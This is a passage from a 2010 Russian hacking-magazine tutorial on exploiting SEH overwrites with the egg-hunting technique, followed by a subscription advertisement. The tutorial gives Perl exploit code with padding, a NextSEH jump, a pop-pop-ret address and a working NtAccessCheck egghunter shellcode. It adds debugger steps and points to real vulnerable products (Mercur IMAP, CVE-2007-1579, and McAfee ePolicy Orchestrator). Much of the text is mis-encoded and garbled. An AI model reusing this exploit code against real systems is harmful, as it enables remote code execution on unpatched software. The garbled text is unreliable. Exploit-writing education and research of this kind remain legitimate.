ВЗЛОМРазбор переполнения плагином pvefindaddrДействие сплойтов, перезаписывающих SEH-записи$junk = "\x41"x174; # ìóñîð â íà÷àëå$jumpNextSEH = "\xeb\x06\x90\x90"; # äæàìï íà 6 áàéòâïåðåä$SEH = pack ("V",0x013e5423); # ïàêóåì ïåðåõîä íà poppop ret$shell = "\x42"x200"; # òóò áóäåò øåëëêîä, à ïîêàáóêâà B 200 ðàç$sploit = $junk.$jumpNextSEH.$SEH.$shell;…Генерим, импортируем. На ошибке проверим полученный SEH-адрес:1. View — SEH chain;2. Ïðàâîé êíîïêîé íà íàøåì àäðåñå — Follow hadler.Должна быть запись pop, pop, ret. Если так, то ставим на первом pop'ебрэйкпоинт — F2 (либо сразу в окне SEH chain). Shift+F9, чтобы продолжитьвыполнение программы.Программа должна остановиться на pop. Теперь пошагово (F7) доходимдо ret и возвращаемся на NextSEH, он же — джамп на 6 байт.Далее наш шеллкод — много «B».Теперь смотрим, хотя наш псевдошеллкод и на месте, но размер его— никак не 200 байт. Там всего 72 байта. Мало. Если посмотреть вышеи ниже по стеку, то мы также найдем куски сплойта. Можно, конечно,заморочиться и собрать... но ближе к иггханту.Подставим какой-нибудь реальный шеллкод в сплойт и поищем его впамяти процесса.Отдельно сохраняем шеллкод, перезапускаем эксплойт и ищем вдебаггере:#!/usr/bin/perl$shell="\xeb\x03…..\x5a"; # êàêîé-òî øåëëêîäopen(FILE, ">shell") or die "Cannot open file: $!";print FILE $shell;close(FILE);!pvefindaddr compare c:\egg\shellПоявится окошко, где перечислены все участки в памяти процессас нашим шеллкодом и отметкой, изменено ли в них что-то.В логе указывается, что именно изменилось. Это бывает полезнодля вычисления бажных символов. В нашем сплойте получаетсятри варианта, обрезанных с 73 символа, и один нормальный. Номесто его меняется при перезапуске проги, и регистры на него нессылаются, то есть по-простому на него не перейти. Потому используемиггхант-шеллкод в этих 72 байтах, который и основнойкод найдет, и управление ему передаст. Добавляем:070# ßéöî ïåðåä îñíîâíûì øåëëêîäîì$tag="\x77\x30\x30\x74";# NtAccessCheck õàíòåð ñ ÿéöîì â òåëå$egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" . $tag . "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";# Ñäâèãàåì îñíîâíîé øåëëêîä èç ñòåêà$junk2="\x90"x50;# Êó÷êóåì èòîã$sploit = $junk.$jumpNextSEH.$SEH.$egghunter.$junk2.$tag.$tag.$shell;$junk2 требуется, так как иггхантер меньше доступного буфера в 73байта, потому мы должны сдвинуть основной шеллкод, чтобы егоначальные куски (тэги) не были раскиданы по памяти, и не произошлоложное нахождение. В общем-то, все. Управление передаетсячерез SEH, иггхантер ищет основной код и передает ему контроль.Юзая данный пример, можно хорошенько проследить за поведениемхантера и увидеть то, что было описано в теоретической части данногоэпоса. Например, обнулить EDX(\x33\xD2) в начале и посмотреть наскорость нахождения основного шеллкода. Кстати, работу иггхантаможно увидеть по возрастанию количества «ошибок страниц» в Диспетчерезадач.Но оставлю это на личную инициативу. Хотя вот пара ссылок:Пример от corelanc0d3r'а: corelan.be:8800/index.php/2010/01/09/exploitwriting-tutorial-part-8-win32-egg-hunting/.Пример иггхантера в MSF: offensive-security.com/metasploitunleashed/и иггхантер-шеллкод с поиском только по куче: r00tin.blogspot.com/2009/03/heap-only-egg-hunter.htmlÒÈÏÀ, ÇÀÊËÞ×ÅÍÈÅИггхантинг — крутой метод. Это точно. И простой, и рабочий.Приведенный пример, конечно, не жизненный, поэтому хочу привестипару иных примеров. Они, к сожалению, для изысканий недоступны,так как являются платными продуктами, зато это прибавляет крутостиметоду. К примеру, «Mercur Messaging 2005» IMAP-сервер.Имеет переполнение буфера в обработке командыSUBSCRIBE(CVE-ID: 2007-1579). В стандартном эксплойте доступно224 байта для payload’а. С использованием техники иггхантинга,мы можем предварительно послать более вместительнуюкоманду LIST с основным шеллкодом, а это уже 2 Кб. Или McAfeeePolicy Orchestrator 3.5.0. Переполнение дает 140 байт, а с иггхантером— неограничено.В общем-то ясно, что многие эксплойты можно улучшить, если применитьк ним данный метод. Так что радуемся новым знаниям и спешимпроверить их на практике :). zXÀÊÅÐ 08 /139/ 10
ÂÛÃÎÄÀ•ÃÀÐÀÍÒÈß•ÑÅÐÂÈÑ ÝÒÎ ËÅÃÊÎ!1. Разборчиво заполни подписной купон иÁÓÄÜ ÓÌÍÛÌ!ÕÂÀÒÈÒ ÏÅÐÅÏËÀ×ÈÂÀÒÜ Â ÊÈÎÑÊÀÕ!ÏÎÊÓÏÀÉ ÆÓÐÍÀË Â 3 ÐÀÇÀ ÄÅØÅÂËÅ!Çàìó÷èëñÿ èñêàòü æóðíàë â ïàëàòêàõ è ìàãàçèíàõ?Íå õî÷åøü òðàòèòü íà ýòî âðåìÿ? Íåíàäî. Ìû ñàìè ïîòðàòèì âðåìÿè ïðèâåçåì òåáå íîâûé âûïóñê Õ.Äëÿ æèòåëåé Ìîñêâû (â ïðåäåëàõ ÌÊÀÄ)äîñòàâêà ìîæåò îñóùåñòâëÿòüñÿáåñïëàòíî ñ êóðüåðîì èç ðóê â ðóêèâ òå÷åíèå òðåõ ðàáî÷èõ äíåé ñ ìîìåíòàâûõîäà íîìåðà íà àäðåñ îôèñà èëèíà äîìàøíèé àäðåñ.Еще один удобный способ оплатыподписки на твое любимое издание — в любомиз 72 000 платежных терминалах QIWI (КИВИ)по всей России.ÅÑÒÜ ÂÎÏÐÎÑÛ? Звони по бесплатным телефонам8(495)780-88-29 (для москвичей) и 8(800)200-3-999 (для жителей других регионов России,абонентов сетей МТС, БиЛайн и Мегафон).ÂÎÏÐÎÑÛ, ÇÀÌÅ×ÀÍÈß È ÏÐÅÄËÎÆÅÍÈß ÏÎ ÏÎÄÏÈÑÊÅ ÍÀÆÓÐÍÀË ÏÐÎÑÈÌ ÏÐÈÑÛËÀÒÜ ÍÀ ÀÄÐÅÑ info@glc.ru8.5 ÃáDVDÏÎÄÏÈÑÊÀÍÀ 6 ÌÅÑßÖÅÂÏÎ ÖÅÍÅ540 ðóá.квитанцию, вырезав их из журнала, сделавксерокопию или распечатав с сайтаshop.glc.ru.2. Оплати подписку через любой банк.3. Вышли в редакцию копию подписных документов— купона и квитанции — любым изнижеперечисленных способов:• ïî ýëåêòðîííîé ïî÷òå subscribe@glc.ru;• ïî ôàêñó 8 (495) 780-88-24;• ïî àäðåñó 119021, Ìîñêâà,óë. Òèìóðà Ôðóíçå, ä. 11, ñòð. 44,ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.ÂÍÈÌÀÍÈÅ!Подпиcка оформляетсяв день обработки купона и квитанциис номера, выходящего через одинкалендарный месяц после оплаты.Например, если произвести оплату в июле,то подписку можно оформить с сентябряÑÒÎÈÌÎÑÒÜ ÇÀÊÀÇÀ Ñ ÄÎÑÒÀÂÊÎÉ:2200 ÐÓÁ. ÇÀ 12 ÌÅÑßÖÅÂ, 1260 ÐÓÁ. ÇÀ 6 ÌÅÑßÖÅÂЕдиная цена по всей России. Доставка за счет издателя, в томчисле курьером по Москве в пределах МКАДÑÒÎÈÌÎÑÒÜ ÇÀÊÀÇÀ ÁÅÇ ÄÎÑÒÀÂÊÈ, с получением журнала самостоятельнов Москве в точке продаж R-kiosk рядом с метроБелорусская‚ ул.Грузинский вал‚ д.27-31:540.00 ÐÓÁ. ÇÀ 6 ÌÅÑßÖÅÂ!Получить журнал можно будет у продавца с предъявлением паспортана имя оформившего подписку, в течение недели, начинаясо следующего дня, после выхода журнала.